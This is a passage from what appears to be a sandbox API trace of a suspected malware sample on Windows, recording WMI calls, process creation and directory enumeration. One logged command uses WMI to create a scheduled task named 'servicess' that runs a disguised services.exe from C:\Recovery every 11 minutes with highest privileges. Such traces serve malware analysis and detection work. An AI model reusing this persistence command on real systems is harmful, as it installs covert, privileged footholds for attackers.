WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbeda0, uIndex=0x1, pszName="cimv2") returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbece0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbece0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbeda0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbeda0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbeda0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0149.569] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.570] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbeda0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0149.570] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbeda0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0149.570] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbeda0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0149.570] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbeda0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0149.570] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbeda0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0149.570] IWbemServices:GetObject (in: This=0x1bcc6480, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb91f50, ppCallResult=0x0) returned 0x0 [0150.152] IWbemClassObject:GetMethod (in: This=0x1bb91f50, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb922c0, ppOutSignature=0x1bb7e690*=0x1bb92630) returned 0x0 [0150.152] IWbemClassObject:SpawnInstance (in: This=0x1bb922c0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa1a2b0) returned 0x0 [0150.153] IWbemClassObject:Get (in: This=0x1aa1a2b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27df050*=0, plFlavor=0x27df054*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27df050*=8, plFlavor=0x27df054*=32) returned 0x0 [0150.153] IWbemClassObject:Get (in: This=0x1aa1a2b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27df050*=8, plFlavor=0x27df054*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27df050*=8, plFlavor=0x27df054*=32) returned 0x0 [0150.153] IWbemClassObject:Put (This=0x1aa1a2b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 11 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0150.153] IWbemClassObject:Get (in: This=0x1aa1a2b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27df0e0*=0, plFlavor=0x27df0e4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27df0e0*=13, plFlavor=0x27df0e4*=32) returned 0x0 [0150.153] IWbemClassObject:Get (in: This=0x1aa1a2b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27df0e0*=13, plFlavor=0x27df0e4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27df0e0*=13, plFlavor=0x27df0e4*=32) returned 0x0 [0150.154] IUnknown:QueryInterface (in: This=0x1bb91870, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb91870) returned 0x0 [0150.154] IUnknown:QueryInterface (in: This=0x1bb91870, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0150.154] IUnknown:QueryInterface (in: This=0x1bb91870, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0150.154] IUnknown:AddRef (This=0x1bb91870) returned 0x3 [0150.154] IUnknown:QueryInterface (in: This=0x1bb91870, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0150.154] IUnknown:QueryInterface (in: This=0x1bb91870, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0150.154] IUnknown:QueryInterface (in: This=0x1bb91870, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb91878) returned 0x0 [0150.154] IMarshal:GetUnmarshalClass (in: This=0x1bb91878, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0150.154] IUnknown:Release (This=0x1bb91878) returned 0x3 [0150.154] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0150.154] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0150.154] IUnknown:QueryInterface (in: This=0x1bb91870, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0150.154] IUnknown:Release (This=0x1bb91870) returned 0x2 [0150.154] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0150.154] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0150.154] IUnknown:QueryInterface (in: This=0x1bb91870, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0150.155] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0150.155] IUnknown:QueryInterface (in: This=0x1bb91870, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0150.155] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0150.155] IUnknown:AddRef (This=0x1bb91870) returned 0x3 [0150.155] IWbemClassObject:Put (This=0x1aa1a2b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb91870, varVal2=0x0), Type=0) returned 0x0 [0150.155] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf160, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0150.155] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf160, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0150.155] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf160, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0150.155] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0150.155] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0150.155] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0150.155] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf160, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0150.155] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf160, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0150.156] IWbemServices:ExecMethod (in: This=0x1bcc6480, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa1a2b0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa1a560, ppCallResult=0x0) returned 0x0 [0150.269] IWbemClassObject:Get (in: This=0x1aa1a560, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27df3f8*=0, plFlavor=0x27df3fc*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc74, varVal2=0x0), pType=0x27df3f8*=19, plFlavor=0x27df3fc*=0) returned 0x0 [0150.270] IWbemClassObject:Get (in: This=0x1aa1a560, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27df3f8*=19, plFlavor=0x27df3fc*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc74, varVal2=0x0), pType=0x27df3f8*=19, plFlavor=0x27df3fc*=0) returned 0x0 [0150.270] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x1d8) returned 0x2c8 [0150.270] GetExitCodeProcess (in: hProcess=0x2c8, lpExitCode=0x26fbb54 | out: lpExitCode=0x26fbb54*=0x103) returned 1 [0150.270] CoTaskMemAlloc (cb=0x404) returned 0x1bcadb70 [0150.270] QueryFullProcessImageNameA (in: hProcess=0x2c8, dwFlags=0x0, lpExeName=0x1bcadb70, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x1bb7ed88) returned 1 [0150.271] CoTaskMemFree (pv=0x1bcadb70) [0150.273] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0150.273] GetSystemDirectoryW (in: lpBuffer=0x1a988070, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0150.274] CoTaskMemFree (pv=0x1a988070) [0150.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0150.274] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0150.274] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bc46ed0 [0150.274] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0150.275] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0150.276] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0150.276] FindClose (in: hFindFile=0x1bc46ed0 | out: hFindFile=0x1bc46ed0) returned 1 [0150.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0150.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0150.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0150.276] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0150.276] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc46ed0 [0150.276] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, 